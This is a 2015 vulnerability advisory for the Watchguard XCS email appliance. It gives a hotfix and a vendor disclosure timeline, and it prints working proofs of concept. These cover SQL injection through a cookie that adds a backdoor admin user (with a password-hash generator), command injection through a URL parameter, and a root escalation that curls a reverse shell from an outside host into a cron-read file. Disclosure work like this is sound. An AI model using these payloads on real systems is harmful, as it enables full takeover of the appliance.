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Watchguard XCS 10.0 SQL Injection / Command Execution

Watchguard XCS 10.0 SQL Injection / Command Execution
Posted Jun 30, 2015
Authored by Daniel Jensen | Site security-assessment.com

The Watchguard XCS virtual appliance contains a number of vulnerabilities, including unauthenticated SQL injection, command execution and privilege escalation. By combining these vulnerabilities, an attacker may remotely obtain root privileges on the underlying host. Versions 10.0 and below are affected.

tags | exploit, root, vulnerability, sql injection
MD5 | bf1ede087fd8f52948510e55bd983d5f

Watchguard XCS 10.0 SQL Injection / Command Execution

Change Mirror Download
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presents..

Watchguard XCS Multiple Vulnerabilities
Affected versions: Watchguard XCS <=10.0

PDF:
http://www.security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf

+-----------+
|Description|
+-----------+
The Watchguard XCS virtual appliance contains a number of
vulnerabilities, including unauthenticated SQL injection, command
execution and privilege escalation. By combining these vulnerabilities,
an attacker may remotely obtain root privileges on the underlying host.

+------------+
|Exploitation|
+------------+
==SQL Injection==
Unauthenticated SQL injection is possible through the “sid” cookie
parameter in the Watchguard XCS web interface due to a PHP script that
insecurely constructs an SQL query using that value. Stacked queries are
possible, and allow insertion of a backdoor web interface user into the
database. The following POC shows the insertion of a backdoor user, and
a python snippet that can be used to construct the Watchguard XCS
specific password hashes.

[SQLi POC]
GET /borderpost/imp/compose.php3 HTTP/1.1
Host: [HOST]
Cookie: sid=1%3BINSERT INTO sds_users (self, login, password, org,
priv_level, quota, disk_usage) VALUES(99, 'backdoor',
'0b75e2443d3c813d91ac5b91106a70ad', 0, 'server_admin', 0, 0)--


[Python Password Hash Generator]
import hashlib
def gen_hash(pass_clear):
PRE_SALT = "BorderWare "
POST_SALT = " some other random (9) stuff"
t1 = hashlib.md5(PRE_SALT + pass_clear + POST_SALT).hexdigest()
t2 = hashlib.md5(pass_clear + t1).hexdigest()
return t2

print gen_hash("backdoor")


==Command Injection==
The web interface of XCS contains a command injection vulnerability,
allowing an authenticated web application user to execute system
commands as the "nobody" user. The vulnerability is in the id parameter
of the "mailqueue.spl" page.
[POC]
GET /ADMIN/mailqueue.spl?f=dnld&id=;id;uname%20-a
Host: [HOST]
Cookie: [VALID COOKIE]


==Privilege Escalation==
Privilege Escalation
There are multiple methods to escalate privileges to root after
obtaining a shell. The "FixCorruptMail" script exploit is shown below,
an additional method is detailed in the accompanying PDF. Privilege
escalation is possible by exploiting the /usr/local/bin/FixCorruptMail
script when it is called by root's crontab every three minutes. This
script reads a file “badqids” from the /var/tmp directory, and
constructs a shell command using some of the contents.

[POC]
touch /tmp/dummyfile
/usr/local/sbin/curl -s http://[REVERSE_SHELL.elf] -o /tmp/revshell
chmod +x /tmp/revshell
echo "../../../../../../tmp/dummyfile;/tmp/revshell" > /var/tmp/badqids

The executable "/tmp/revshell" will be executed within three minutes by
the root user.

+----------+
| Solution |
+----------+
Apply the relevant XCS security hotfix (Build 150522) as provided by
Watchguard.

+-------------------+
|Disclosure Timeline|
+-------------------+
12/05/2015 - Email sent to confirm vendor security contact address is valid.
13/05/2015 - Response from vendor confirming address is valid.
13/05/2015 - Sent advisory through to vendor.
13/05/2015 - Vendor confirms receipt of advisory.
27/05/2015 - Vendor sends update on fixes, states a release will be
published shortly.
09/06/2015 - Security hotfixes released for Watchguard XCS v10.0 and v9.2.
29/06/2015 - Public advisory release.

+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+

Security-Assessment.com is Australasia's leading team of Information
Security consultants specialising in providing high quality Information
Security services to clients throughout the Asia Pacific region. Our
clients include some of the largest globally recognised companies in
areas such as finance, telecommunications, broadcasting, legal and
government. Our aim is to provide the very best independent advice and a
high level of technical expertise while creating long and lasting
professional relationships with our clients.

Security-Assessment.com is committed to security research and
development, and its team continues to identify and responsibly publish
vulnerabilities in public and private software vendor's products.
Members of the Security-Assessment.com R&D team are globally recognised
through their release of whitepapers and presentations related to new
security research.

For further information on this issue or any of our service offerings,
contact us:
Web www.security-assessment.com
Email info () security-assessment.com
Phone +64 4 470 1650



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